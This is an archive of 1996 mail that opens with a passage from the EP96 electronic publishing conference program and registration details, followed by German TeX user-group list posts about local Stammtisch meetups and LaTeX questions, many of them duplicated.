tutorial includes a detailed case history describing the architecture o= f the technical manual production system of a supplier of military equipment = to a Canadian Department of National Defence (DND) Project Office. The Canadian= DND CALS Office Engineering and Technical Information Model is the structure of= the main store for information used in the production of technical manuals. The= nature of the structure of the information model is content-oriented, based= on the physical equipment breakdown structure (EBS). The nature of the struct= ure of the technical manuals is presentation-oriented, based on a book paradigm= . The tutorial also includes a live example of an SGML Application for publis= hing in three outputs: one Web style and two paper styles, each meeting a differ= ent purpose for the information. Completing the tutorial, pointers to publicly-maintained SGML resource catalogues are reviewed. Lorraine Stanford is a Senior Consultant with Microstar Software Ltd. Her m= ain responsibility is the development and delivery of Microstar's training programme, which includes general SGML courses, as well as instruction in t= he use of Microstar's software tools and the company's unique, practical appro= ach to implementing the Document Development Life Cycle. Ms. Stanford is also a= n active member of Microstar's Professional Services Group, which enables her= to bring hands-on experience to the classroom. She joined Microstar in early 1994 following 14 years' experience providing Informatics consulting services. Ms. Stanford holds Bachelor of Arts and Bachelor of Education degrees from Queen's University at Kingston, Ontario. Tutorial 2: Colour document display and reproduction -- Roger Hersch, Victor Ostromoukov, and Tim Kohler. Color is an integral part of today's electronic documents. However, the problem of faithful color reproduction on a variety of display and printing= devices incorporates many aspects, such as device calibration, color halftoning and gamut mapping. The goal of this tutorial is to present= the scientific basis of colorimetry, the colorimetric behavior of scanners,= displays and printers, categories of halftoning algorithms specifically conceived for color displays as well as current color management standards.= 1. The basics of colorimetry From color matching experiments to the CIE-XYZ system Roger D. Hersch, Swiss Federal Institute of Technology, Lausanne 2. The colorimetric behavior of scanners, displays and printers Roger D. Hersch, Swiss Federal Institute of Technology, Lausanne 3. Halftoning for color displays (creation of color tables, dithering for display devices, halftoning in color space) V. Ostromoukhov, Swiss Federal Institute of Technology, Lausanne 4. The color management standards (ColourSync, ICC) Tim Kohler, Canon Information Systems Tutorial 3: CURRENT STATUS OF DOCUMENT IMAGE ANALYSIS -- George Nagy The conversion of documents into electronic form has proved more difficult than anticipated. Document image analysis still accounts for only a small fraction of the rapidly- expanding document imaging market. Nevertheless, the optimism manifested over the last thirty years has not dissipated. There is increased emphasis on large-scale, automated comparative evaluation, using laboriously compiled test databases. The cost of generating these databases has stimulated new research on synthetic noise models. Driven partly by document distribution on CD-ROM and via the World Wide Web, there is more interest in the preservation of layout and format attributes to increase searchability and legibility (sometimes called "page reconstruction") rather than just text/non-text separation. At the same time, the requirements of downstream software, such as word processing, information retrieval and computer-aided design applications, favor turning the results of the analysis and recognition into some standard computer format. The realization that accurate document image analysis requires fairly specific pre-stored information has resulted in the investigation of new data structures for knowledge bases and for the representation of the results of partial analysis. Progress is reported on documents - primarily office forms - containing a mix of handprinted, handwritten and printed material, and research on stylus-based data entry is spurred by the popularity of notepad computers. Other active topics include image, text-image, and text compression; map and line-drawing conversion; half-tone and color processing; and text-entry for digital libraries. EP96 The Conference Organization Program committee chair: Anne Bru"ggemann-Klein (Technische Universita"t Mu"nchen, Germany) Conference chair: Allen L. Brown, Jr. (Xerox Corporation, Palo Alto, USA) Program committee: Jacques Andre' INRIA/IRISA, Rennes, France Charles Bigelow Stanford University, USA David F. Brailsford University of Nottingham, UK Allen L. Brown, Jr. Xerox Corporation, Palo Alto, USA Heather Brown University of Kent, Canterbuty, UK Anne Bru"ggemann-Klein Technische Universita"t Mu"nchen, Germany Giovanni Coray Swiss Federal Institute of Technology, Lausanne, Swi= tzerland Anton Eliens Free University, Amsterdam, The Netherlands An Feng Xerox Corporation, Palo Alto, USA Hans-Peter Frei UBILAB, Union Bank of Switzerland, Zu"rich, Switzerl= and Richard Furuta Texas A&M University, USA Roger D. Hersch Swiss Federal Institute of Technology, Lausanne, Swi= tzerland Christoph Hu"ser GMD-IPSI, Darmstadt, Germany Rolf Ingold University of Fribourg, Switzerland Brian Kernighan AT&T Bell Laboratories, Murray Hill, USA Peter King University of Manitoba, Canada Dario Lucarella CRA-ENEL, Milan, Italy Pierre MacKay University Washington, USA Robert A. Morris University of Massachusetts, Boston, USA Makoto Murata Fuji Xerox Information Systems, Kawasaki, Japan Marc Nanard CRIM, Montpellier, France Vincent Quint INRIA/IMAG, Grenoble, France Richard Rubinstein Sun Microsystems, USA Christine Vanoirbeek Swiss Federal Institute of Technology, Lausanne, Swi= tzerland Hans van Vliet Free University, Amsterdam, The Netherlands Wang Xuan Peking University, Beijing, China EP96 PROGRAM Tuesday 24: am 9:00-10:00 Invited Talk: Hal R. Varian (Professor and Dean of the School of Information Management and Systems at the University of California at Berkeley) 10:30-12:00 Session A: Structured Documents I Web Applications and SGML by JACCO VAN OSSENBRUGGEN, ANTON ELIE"NS AND BASTIAAN SCHO"NHAGE SGML/HyTime Repositories and the Object Paradigm by PATRICIA FRANCOIS, PHILIPPE FUTTERSACK = AND CHRISTOPHE ESPERT Typographic Sheets and Structured Documents by HE'LE`NE RICHY AND JACQUES ANDRE' pm 2:00-3:00 Session B: Multimedia and Typecases Modelling Multimedia Documents by PETER R. KING The Traditional Arabic Typecase Extended to the Unicode Set of Glyphs by YANNIS HARALAMBOUS 3:30-5:00 Session C: Presentation and Representation A New Presentation Language for Structured Documents by ETHAN V. MUNSON Pagination Reconsidered by ANNE BRU"GGEMANN-KLEIN, ROLF KLEIN AND = STEFAN WOHLFEIL Towards Structured, Block-Based PDF by PHILIP N. SMITH AND DAVID F. BRAILSFORD= Wednesday 25: am 9:00-10:00 Invited Talk: Peter Hibbard (Principal Scientist, Adobe Systems, Inc.) 10:30-12:00 Session D: Structured Documents II XTABLE---A Tabular Editor and Formatter by XINXIN WANG AND DERICK WOOD Filtering Structured Documents in the SYNDOC Environment by E. KUIKKA AND A. SALMINEN Automatic Generation of SGML Content Models by HELENA AHONEN pm 2:00-3:00 Session E: Document Analysis and Compression= Document Analysis of PDF Files: Methods, Results and Implications by WILLIAM S. LOVEGROVE AND DAVID F. BRAIL= SFORD A Pattern-Based Lossy Compression Scheme for Document Images by QIN ZHANG AND JOHN M. DANSKIN 3:30-6:00 Exhibitions Thursday 26 am 9:00-10:00 Invited Talk: Bryan L. Bell (Strategic Technologist, Frank ussell Company) 10:30-12:00 Session F: Interfaces Using Documents as Interfaces to Information Systems by VIJAY KUMAR, RICHARD FURUTA AND ROBERT = B. ALLEN Retrieval from Facet Spaces by ROBERT B. ALLEN The Stick-e Document: A Framework for Creating Context-Aware Applications by P. J. BROWN General Information Proceedings of the EP96 conference will be published by Wiley as a special issue of the journal EP-ODD and will be available in preprint form at the conference and in final form subsequently. The PODP96 workshop proceedings= will be given to each participant at the beginning of the workshop. Location: The conference will be held principally on the campus of the Xero= x Palo Alto Research Center (PARC) in Palo Alto, California. Palo Alto is south of the San Francisco International Airport and can be reached in approximately thirty minutes by automobile or any of several shuttle bus services available at the airport. Accommodation: Rooms have been reserved at an attractive rate for conference attendees at Dinah's Garden Hotel in Palo Alto. The rooms range in price from $100-$120 per night of stay. That rate will be provided to conference attendees beginning the night of September 21 and extending through the night of September 28. Dinah's is approximately three kilometer= s from the conference site. While it is a pleasant forty-minute walk from the= Dinah's to PARC, a shuttle bus service will be provided for the convenience= of the conference attendees. To reserve accommodations at Dinah's, attendee= s should contact: Mr. Bill Lyons Director of Sales Dinah's Garden Hotel 4261 El Camino Real Palo Alto, CA 94306 USA +1 415 493-2844 (tel) +1 415 856-8904(fax) +1 415 856-4713 (fax) Sponsors: The conference is sponsored by the Xerox Corporation, Adobe Systems, Inc., the School of Information Management and Systems of the University of California at Berkeley, and INRIA. Insurance: The organizers cannot be held liable to conference participants= for injury, damage or loss of their personal property. It is suggested tha= t participants make their own insurance arrangements. English: English is the official language of the conference, tutorials and= workshop. Secretarial support including fax and phone will be available during the whole conference period. Registration: Please make your (binding) conference reservation by sendin= g the completed registration form with payment to the conference secretariat.= Confirmation will be given after receipt of the registration form. For a limited number of students conference attendance at a reduced fee is possible. Please send a copy of your student card. Fees for the conferences, workshops and tutorials include proceedings, the reception, coffee breaks, lunches, and the banquet dinner. Payment: Payment should be made in United States dollars payable to the Xerox Corporation by check. Credit cards (Visa and Mastercharge) are accep= ted. Cancellation: Fees will be returned in full for any written cancellation postmarked before September 1, 1996. No refunds will be made after this da= te. Registration forms should be sent to: EP96 Conference Secretariat Mrs. P.A. Gretz Xerox Corporation 3400 Hillview Avenue PAHV-127 Palo Alto, California 94304 USA fax: +1 415 813-7394 e-mail: ep96@xsoft.xerox.com EP96 Registration Form NAME: (please write last name first) _____________________________________ AFFILIATION: _____________________________________________________________ E-MAIL ADDRESS: __________________________________________________________ STREET ADDRESS: __________________________________________________________ TOWN/POSTAL CODE: __________________________ COUNTRY: ___________________ TELEPHONE: _________________________________ FAX: _______________________ FEES* Conference fees (excluding hotel room): before September 1 After September 1 _______ $350 _______ $425 (student price) _______ $200 _______ $225 Tutorial fees (excluding hotel room): before September 1 After September 1 Tutoral 1: _______ $400 _______ $500 (student) _______ $100 _______ $130 Tutoral 2: _______ $200 _______ $250 (student) _______ $50 _______ $65 Tutoral 3: _______ $200 _______ $250 (student) _______ $50 _______ $65 Attendees spouses and companions are welcome to attend the banquet event: _______ $30 Total amount due: _______ $ ***************************************************************************= I am paying by: _____check _____VISA _____Mastercharge credit card number_________________________________ exp. date_____________ Total amount due: ________________________________________________________ Date: ____________________________________________________________________ Signature: _______________________________________________________________ *An attendee who wishes to pay by credit card may return a completed and signed copy of the above registration form to the secretariat via fax or po= st. Registration forms should be sent to: EP96 Conference Secretariat Mrs. P.A. Gretz Xerox Corporation 3400 Hillview Avenue PAHV-127 Palo Alto, California 94304 USA Tel +1 415 813-7003 fax +1 415 813-7308 e-mail ep96@xsoft.xerox.com ------- end ------- From root Thu Jul 25 22:39:06 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Thu, 25 Jul 1996 22:22:18 +0200 Subject: Stammtisch Hamburg Hallo, TeXniker und TeXnokraten aus Hamburg und umzu, der naechste TeX-Stammtisch in Hamburg ist wegen Urlaub der Stammkneipe diesmal am Donnerstag, den 1.8.96 ab 18:30 im "Genno's", Hammer Steindamm 123 (S Hasselbrook) Weil "Genno's" ein sehr kleines Restaurant mit 20 Plaetzen ist und an dem Abend bereits eine un-TeX-nische Gruppe die Haelfte reserviert hat, moechte der Inhaber gerne vorher wissen, mit wieviel Personen wir ankommen. Henning, Jens und Volker, ich habe Euch bereits fest eingeplant. Alle anderen moegen sich bitte bis spaetestens 30.7. bei mir melden. Luzia, die Einladung steht noch. Wenn Du also zufaellig am 1.8. in Hamburg bist... sonst musst Du bis zum 9.10. warten ;-) Ich freue mich, Euch zu sehen! Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 5494-2295/2276 Fax: -2241 From root Thu Jul 25 22:39:06 1996 Content-Type: text Message-Id: <199607252022.WAA13418@rzdspc1.informatik.uni-hamburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke To: Multiple recipients of list TEX-D-L Date: Thu, 25 Jul 1996 22:22:18 +0200 Subject: Stammtisch Hamburg Hallo, TeXniker und TeXnokraten aus Hamburg und umzu, der naechste TeX-Stammtisch in Hamburg ist wegen Urlaub der Stammkneipe diesmal am Donnerstag, den 1.8.96 ab 18:30 im "Genno's", Hammer Steindamm 123 (S Hasselbrook) Weil "Genno's" ein sehr kleines Restaurant mit 20 Plaetzen ist und an dem Abend bereits eine un-TeX-nische Gruppe die Haelfte reserviert hat, moechte= der Inhaber gerne vorher wissen, mit wieviel Personen wir ankommen. Henning, Jens und Volker, ich habe Euch bereits fest eingeplant. Alle anderen moegen sich bitte bis spaetestens 30.7. bei mir melden. Luzia, die Einladung steht noch. Wenn Du also zufaellig am 1.8. in Hamburg= bist... sonst musst Du bis zum 9.10. warten ;-) Ich freue mich, Euch zu sehen! Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hambu= rg postmaster@informatik.uni-hamburg.de Tel.: (040) 5494-2295/2276 Fax: -224= 1 From root Fri Jul 26 10:27:04 1996 Message-Id: <199607260814.KAA24069@sun.dante.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." To: Multiple recipients of list TEX-D-L In-Reply-To: <199607252022.WAA13418@rzdspc1.informatik.uni-hamburg.de> Date: Fri, 26 Jul 1996 10:14:54 +0200 Subject: Re: Stammtisch Hamburg Reinhard Zierke (zierke@informatik.uni-hamburg.de) schrieb am 25.7.1996, 22= :22:18 > Luzia, die Einladung steht noch. Wenn Du also zufaellig am 1.8. in Hamb= urg > bist... sonst musst Du bis zum 9.10. warten ;-) :-) eher unwahrscheinlich, muss ich doch am 31.7. in heidelberg beim stammtisch sein... zu dem natuerlich alle herzlich eingeladen sind (ab ca. 20.00 uhr, China-Restaurant Palast, Lessingstr. 36). am 9.10. bin ich dann aber auf jeden fall da. versprochen! ;-) mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Fri Jul 26 10:26:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Fri, 26 Jul 1996 10:14:54 +0200 Subject: Re: Stammtisch Hamburg Reinhard Zierke (zierke@informatik.uni-hamburg.de) schrieb am 25.7.1996, 22:22:18 > Luzia, die Einladung steht noch. Wenn Du also zufaellig am 1.8. in Hamburg > bist... sonst musst Du bis zum 9.10. warten ;-) :-) eher unwahrscheinlich, muss ich doch am 31.7. in heidelberg beim stammtisch sein... zu dem natuerlich alle herzlich eingeladen sind (ab ca. 20.00 uhr, China-Restaurant Palast, Lessingstr. 36). am 9.10. bin ich dann aber auf jeden fall da. versprochen! ;-) mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From root Fri Jul 26 11:26:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Fri, 26 Jul 1996 11:25:40 +0200 Subject: Diakritische Zeichen auf nicht-cm Fonts Liebe Leute, ich versuche gerade mit einem Font, der Fontencoding `U' hat diakritische Zeichen aufzusetzen. Das Trema ist dort an gleicher Stelle definiert wie in cm, also dachte ich {\Umyfont \"a} m"usste gehen. (LaTeX2e, NFSS2) tut es auch, allerdings erscheint eine Warnung: LaTeX Font Warning: Font shape `OT1/mxed/m/n' undefined (Font) using `OT1/cmr/m/n' instead on input line 30. (Logisch, weil im Umxed.fd auch U/mxed/m/n steht. Lasse ich das Trema weg, verschwindet auch die Warnung.) Weiss jemand wie ich die Warnung verhindern kann? Vielen Dank Johannes From root Fri Jul 26 11:26:07 1996 Message-Id: <199607260925.LAA05240@apollon.compling.hu-berlin.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke To: Multiple recipients of list TEX-D-L Date: Fri, 26 Jul 1996 11:25:40 +0200 Subject: Diakritische Zeichen auf nicht-cm Fonts Liebe Leute, ich versuche gerade mit einem Font, der Fontencoding `U' hat diakritische Zeichen aufzusetzen. Das Trema ist dort an gleicher Stelle definiert wie in cm, also dachte ich {\Umyfont \"a} m"usste gehen. (LaTeX2e, NFSS2) tut es auch, allerdings erscheint eine Warnung: LaTeX Font Warning: Font shape `OT1/mxed/m/n' undefined (Font) using `OT1/cmr/m/n' instead on input line 30. (Logisch, weil im Umxed.fd auch U/mxed/m/n steht. Lasse ich das Trema weg, verschwindet auch die Warnung.) Weiss jemand wie ich die Warnung verhindern kann? Vielen Dank Johannes From owner-tex-d-l@VM.GMD.DE Sat Jul 27 17:07:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Braune@RZ.UNI-KARLSRUHE.DE Date: Sat, 27 Jul 1996 17:06:40 +0200 Subject: TeX-Stammtisch in Karlsruhe am 1. August 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 1.8.96: TeX-Stammtisch am 1. August 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Falls das Wetter mitspielt, wollen wir gegen 20:30 in den Biergarten Pfannenstiel Am Kuenstlerhaus 53 umziehen. Einen entsprechenden Hinweis werden wir auf den Aushaengen an den Eingaengen des Rechenzentrums hinterlassen. Wer die Lage des Rechenzentrums oder des Biergartens nicht kennt, kann sich im WEB den Karlsruher Stadtplan ansehen und sich die Adressen heraussuchen lassen. Der Stadtplan ist im WEB zu finden unter http://rz70.rz.uni-karlsruhe.de/cgi-bin/user/ry10/stadtplan oder http://www.uni-karlsruhe.de/cgi-bin/stadtplan Dort kann nach Strassen gesucht werden (Stichwort fuer das Rechenzentrum: "Zirkel, neuer" - Planquadrat I10, diagonal gegenueber dem Regierungs- praesidium; fuer den Biergarten: "Kuenstlerhaus, Am" - Planquadrat K10). Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************* Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From root Sat Jul 27 17:07:24 1996 Message-Id: <"nz11.rz.un.724:27.07.96.15.06.50"@rz.uni-karlsruhe.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Braune@RZ.UNI-KARLSRUHE.DE To: Multiple recipients of list TEX-D-L Date: Sat, 27 Jul 1996 17:06:40 +0200 Subject: TeX-Stammtisch in Karlsruhe am 1. August 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 1.8.96: TeX-Stammtisch am 1. August 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Falls das Wetter mitspielt, wollen wir gegen 20:30 in den Biergarten Pfannenstiel Am Kuenstlerhaus 53 umziehen. Einen entsprechenden Hinweis werden wir auf den Aushaengen an den Eingaengen des Rechenzentrums hinterlassen. Wer die Lage des Rechenzentrums oder des Biergartens nicht kennt, kann sich= im WEB den Karlsruher Stadtplan ansehen und sich die Adressen heraussuchen lassen. Der Stadtplan ist im WEB zu finden unter http://rz70.rz.uni-karlsruhe.de/cgi-bin/user/ry10/stadtplan oder http://www.uni-karlsruhe.de/cgi-bin/stadtplan Dort kann nach Strassen gesucht werden (Stichwort fuer das Rechenzentrum: "Zirkel, neuer" - Planquadrat I10, diagonal gegenueber dem Regierungs- praesidium; fuer den Biergarten: "Kuenstlerhaus, Am" - Planquadrat K10). Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ***************************************************************************= **** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From root Thu Jul 25 15:51:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L In-Reply-To: <199606271150.NAA19424@isle.informatik.uni-stuttgart.de> Date: Thu, 25 Jul 1996 15:51:17 -6000 Subject: Lange Literatur-Referenzen umbrechen Hallo Leute! Wenn ich im Literaturverzeichnis einen langen Zitiereintrag machen, z.B.: \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer= 1} Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne,= Reinbek 1989 (Rowohlt). dann wird beim zitieren via \cite{meyer1} der lange Text Meyer, Fundamentalismus. Aufstand gegen die Moderne nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. Was kann ich dagegen tun? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From owner-tex-d-l@VM.GMD.DE Thu Jul 25 15:51:04 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Thu, 25 Jul 1996 15:51:17 -6000 Subject: Lange Literatur-Referenzen umbrechen Hallo Leute! Wenn ich im Literaturverzeichnis einen langen Zitiereintrag machen, z.B.: \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer1} Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne, Reinbek 1989 (Rowohlt). dann wird beim zitieren via \cite{meyer1} der lange Text Meyer, Fundamentalismus. Aufstand gegen die Moderne nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. Was kann ich dagegen tun? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From root Mon Jul 29 02:43:40 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder CEST Date: Sun, 28 Jul 1996 18:33:15 +0200 Subject: TeX-Stammtisch in Bremen im August 1996 am 1996-08-01 um 18:00 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 1. August 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/2239425 CU Martin ! Achtung: Der Algorithmus f"ur die Stammtische hat sich ge"andert: ab ! ! jetzt ist es der erste _Donnerstag_ im Monat. ! -- Martin Schr"oder, MS@Dream.HB.North.DE Follow the Way of the Networker, drinking at the fountain of Knowledge by night, slaving over the console during thy waking hours and sleeping only by day, for 'tis during the cold light of the early morning that the greatest wizardry is accomplished. (Dave Hill) --=_mh.ndn.1785.000c.330ad594_=-- From root Mon Jul 29 02:43:40 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder To: Multiple recipients of list TEX-D-L Date: Sun, 28 Jul 1996 18:33:15 +0200 Subject: TeX-Stammtisch in Bremen im August 1996 am 1996-08-01 um 18:0= Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 1. August 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/2239425 CU Martin ! Achtung: Der Algorithmus f"ur die Stammtische hat sich ge"andert: ab ! ! jetzt ist es der erste _Donnerstag_ im Monat. ! -- Martin Schr"oder, MS@Dream.HB.North.DE Follow the Way of the Networker, drinking at the fountain of Knowledge by night, slaving over the console during thy waking hours and sleeping only by day, for 'tis during the cold light of the early morning that the greatest wizardry is accomplished. (Dave Hill) --=_mh.ndn.1785.000c.330ad594_=-- From root Thu Aug 1 22:43:19 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Stefan Traby To: Multiple recipients of list TEX-D-L In-Reply-To: <199607191902.VAA29110@azu.informatik.uni-stuttgart.de> Date: Thu, 1 Aug 1996 22:41:08 +0100 Subject: Re: Versionen emtex, latex, latex2e? On Fri, 19 Jul 1996, Eberhard Mattes wrote: > ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz > der Autoload-Version zu gross ist (hash size). Weil das RAM grad so billig ist... Funktionierts inzwischen die andere Richtung ? (Int 15, AH=3D88H) Kann der EMX nun mehr als 65MB - 1 KB ansprechen ? ciao - Stefan From owner-tex-d-l@VM.GMD.DE Thu Aug 1 22:42:30 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Traby Date: Thu, 1 Aug 1996 22:41:08 +0100 Subject: Re: Versionen emtex, latex, latex2e? On Fri, 19 Jul 1996, Eberhard Mattes wrote: > ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz > der Autoload-Version zu gross ist (hash size). Weil das RAM grad so billig ist... Funktionierts inzwischen die andere Richtung ? (Int 15, AH=88H) Kann der EMX nun mehr als 65MB - 1 KB ansprechen ? ciao - Stefan From root Fri Aug 2 09:32:57 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thorsten Baumheinrich Date: Fri, 2 Aug 1996 09:31:12 +0200 Subject: Re: Versionen emtex, latex, latex2e? According to Stefan Traby: > On Fri, 19 Jul 1996, Eberhard Mattes wrote: > > ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz > > der Autoload-Version zu gross ist (hash size). > Weil das RAM grad so billig ist... > Funktionierts inzwischen die andere Richtung ? (Int 15, AH=3D88H) > Kann der EMX nun mehr als 65MB - 1 KB ansprechen ? > ciao - > Stefan Raeusper.... Eine Frage mal am Rande - auch wenn's offtopic ist: Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? Ich habe den Eindruck, dass in den vergangenen 1 bis 2 Wochen kaum noch etwas hierher durchkommt. Von dem obigen Thread hab ich bislang auch noch nichts gewusst... ... oder ists die strenge Selektion/Moderation in dieser Liste ? Gruesse, Thorsten From root Fri Aug 2 09:32:57 1996 Content-Type: text Message-Id: <9608020741.AA09740@bilbo.mez.ruhr-uni-bochum.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thorsten Baumheinrich To: Multiple recipients of list TEX-D-L In-Reply-To: On Fri, 19 Jul 1996, Eberhard Mattes wrote: > > ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz > > der Autoload-Version zu gross ist (hash size). > Weil das RAM grad so billig ist... > Funktionierts inzwischen die andere Richtung ? (Int 15, AH=3D88H) > Kann der EMX nun mehr als 65MB - 1 KB ansprechen ? > ciao - > Stefan Raeusper.... Eine Frage mal am Rande - auch wenn's offtopic ist: Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? Ich habe den Eindruck, dass in den vergangenen 1 bis 2 Wochen kaum noch etwas hierher durchkommt. Von dem obigen Thread hab ich bislang auch noch nichts gewusst... ... oder ists die strenge Selektion/Moderation in dieser Liste ? Gruesse, Thorsten From root Fri Aug 2 09:52:16 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Markus To: Multiple recipients of list TEX-D-L Date: Fri, 2 Aug 1996 09:53:11 +0200 Subject: Re: Versionen emtex, latex, latex2e? Hallo, > > > Raeusper.... Eine Frage mal am Rande - auch wenn's offtopic > ist: > > Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? > > Ich habe den Eindruck, dass in den vergangenen 1 bis 2 Wochen > kaum noch etwas hierher durchkommt. Von dem obigen Thread hab ich geht mir auch so, hatte bisher leider noch keine Zeit eine Anfrage... > bislang auch noch nichts gewusst... > ... oder ists die strenge Selektion/Moderation in dieser Liste ? > > > Gruesse, > Thorsten > MfG Reinhard ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~ Dipl.-Ing. Reinhard Markus grafische informat= ik Technical Support Wielandstrasse 2= 8a 32545 Bad Oeynhaus= en Germa= ny rm@grafische-informatik.com Phone (+49) 5731 792-1= 91 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~ From root Fri Aug 2 09:52:16 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Markus Date: Fri, 2 Aug 1996 09:53:11 +0200 Subject: Re: Versionen emtex, latex, latex2e? Hallo, > > > Raeusper.... Eine Frage mal am Rande - auch wenn's offtopic > ist: > > Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? > > Ich habe den Eindruck, dass in den vergangenen 1 bis 2 Wochen > kaum noch etwas hierher durchkommt. Von dem obigen Thread hab ich geht mir auch so, hatte bisher leider noch keine Zeit eine Anfrage... > bislang auch noch nichts gewusst... > ... oder ists die strenge Selektion/Moderation in dieser Liste ? > > > Gruesse, > Thorsten > MfG Reinhard ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~ Dipl.-Ing. Reinhard 